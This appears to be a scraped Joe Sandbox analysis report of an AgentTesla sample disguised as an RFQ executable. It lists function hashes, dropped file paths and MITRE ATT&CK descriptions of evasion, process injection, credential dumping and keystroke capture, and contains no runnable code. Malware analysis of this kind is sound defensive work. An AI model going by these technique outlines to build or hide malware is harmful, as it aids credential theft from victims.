Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5f704ba3540266d15e7073fe2a868515581ea744187d2a6855a1d6dfd3cc4f
Instruction ID: ffd7aa5d68c36fe481e602f88cbdb0d914d1e0fb0e14c6a7cc9c84a63e33062d
Opcode Fuzzy Hash: ae5f704ba3540266d15e7073fe2a868515581ea744187d2a6855a1d6dfd3cc4f
Instruction Fuzzy Hash: 7D01A236B200255BDB95966CDC217EF7BABABC8300F15453AD909E7384DE259C1347D1

Function 06657630 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d938f954a1ba250d9fc446eea8ea747b4b14d263df87bd8d841721843eda03
Instruction ID: ea55d8c8f89dc46268d3a193c9552e9ffac46ead1a1c7d05c483ad55277118a5
Opcode Fuzzy Hash: 62d938f954a1ba250d9fc446eea8ea747b4b14d263df87bd8d841721843eda03
Instruction Fuzzy Hash: 9601D131B142140FDB64957ED455B2FBADADBC9710F10843AE50EC7340ED61DC0243A1

Function 0665DB48 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e72f0963f8b5efe6a6da6afd97f4d875d4c9498ba0662dd1a31cefbe90596927
Instruction ID: 8189ff4fbc68bee296af62346def1fc0b2df7fe7ea475b6d7560bb241c77af30
Opcode Fuzzy Hash: e72f0963f8b5efe6a6da6afd97f4d875d4c9498ba0662dd1a31cefbe90596927
Instruction Fuzzy Hash: A8018C71B245151BDB64EA7CE4A272AB3D6FB89710F108839E50EC7394EE21EC028795

Function 0665E750 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b08fa6ff6e05745ae5e41e574c8690d89171ed34601892d4fcd3e822271377
Instruction ID: 294504cc0641355b166400987a1cef74476274d0f141e3a0cf8e001766b03dbd
Opcode Fuzzy Hash: 42b08fa6ff6e05745ae5e41e574c8690d89171ed34601892d4fcd3e822271377
Instruction Fuzzy Hash: 9D01F435E103089BEF709668D44579DBBA9EB86320F10493AE90AEB341D632FD01C791

Function 06659CA9 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073314b129a179a34e11a5846236acf2ab345c7fa5c15853e88da2e238adc735
Instruction ID: 00850181a2ca4e9635338a02ebce1386d5e15355848872c113a4bad5dd558ecc
Opcode Fuzzy Hash: 073314b129a179a34e11a5846236acf2ab345c7fa5c15853e88da2e238adc735
Instruction Fuzzy Hash: D3E09271E192C89BCF51C6B0CA4279A3AA99B41304F264AD6D804CB381D236CA018351

Function 06657E71 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49c1549b2dda0de6c59137c9d8ded10100c3eb881e04f33fb010bf181c827aea
Instruction ID: 6aa0444d3b4da7e35dc88ebd34199a1333eaf7c7a78c79aedcff9870f33e8838
Opcode Fuzzy Hash: 49c1549b2dda0de6c59137c9d8ded10100c3eb881e04f33fb010bf181c827aea
Instruction Fuzzy Hash: 72F0DA31A64219DFDB14DB94E869BADBF76BF84701F214119E402A7284CBB41C02CB81

Function 06659CB8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99eaf142ca84b44b7758b2b24655deb4517eb82ac2963be868c188314192dacd
Instruction ID: 1de367c74c851544b4478390b1313981e2be400b1dfb053dc3859cc0126d5bfd
Opcode Fuzzy Hash: 99eaf142ca84b44b7758b2b24655deb4517eb82ac2963be868c188314192dacd
Instruction Fuzzy Hash: 4DE01271E1428CEBDF50DAB4CA4675A77EDDB41314F218AA5DC08CB341E276DA018781

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_O3M50XZCTRHO2WFI_53db61ea5bbc9df35952feb8933b1de8a97192_1f364be1_0a2674bc-4aeb-4f71-b7af-e8a38e449efb\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER987F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9B6E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BCD.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjisuyec.ouf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwak4bu2.o41.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcuihmdh.ure.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtrj22fm.bqn.ps1

C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_792d1c772443f647

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

Windows Analysis Report
RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Function 00007FF7C19362E0 Relevance: 2.9, Strings: 2, Instructions: 447
COMMON

Function 00007FF7C1933898 Relevance: 2.0, Strings: 1, Instructions: 716
COMMON

Function 00007FF7C194071A Relevance: 1.7, Instructions: 1690
COMMON

Function 00007FF7C193EBBA Relevance: .9, Instructions: 872
COMMON

Function 00007FF7C1934F6D Relevance: 1.6, APIs: 1, Instructions: 127
memoryCOMMON

Function 00007FF7C193B3D5 Relevance: 1.6, APIs: 1, Instructions: 125
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre